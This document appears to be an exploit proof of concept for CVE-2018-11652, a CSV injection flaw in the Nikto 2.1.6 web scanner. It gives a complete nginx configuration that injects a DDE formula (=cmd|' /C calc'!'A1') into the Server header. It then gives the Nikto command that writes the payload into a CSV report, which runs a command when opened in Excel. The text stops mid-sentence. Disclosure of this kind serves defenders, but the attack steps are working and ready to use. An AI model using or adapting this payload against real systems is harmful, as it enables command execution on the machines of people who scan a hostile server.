# Category: Applications  
# Tested on: Kali Linux 4.14 x64  
# CVE : CVE-2018-11652  
  
# Technical Description:  
# CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers   
# to inject arbitrary OS commands via the Server field in an HTTP response header,   
# which is directly injected into a CSV report.  
  
# PoC  
# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras  
# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:  
  
user www-data;  
worker_processes auto;  
pid /run/nginx.pid;  
include /etc/nginx/modules-enabled/*.conf;  
  
events {  
worker_connections 768;  
# multi_accept on;  
}  
  
http {  
server_tokens off; # removed pound sign  
more_set_headers "Server: =cmd|' /C calc'!'A1'";  
  
server {  
listen 80;  
  
server_name localhost;  
  
location /hello {  
return 200 "hello world";  
}  
}  
}  
  
# Restart the server: service nginx restart  
# Scan the nginx server with Nikto configured to output the results to a CSV file:  
  
nikto -h <nginx address>:80 -o vuln.csv  
  
# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting   
# to execute
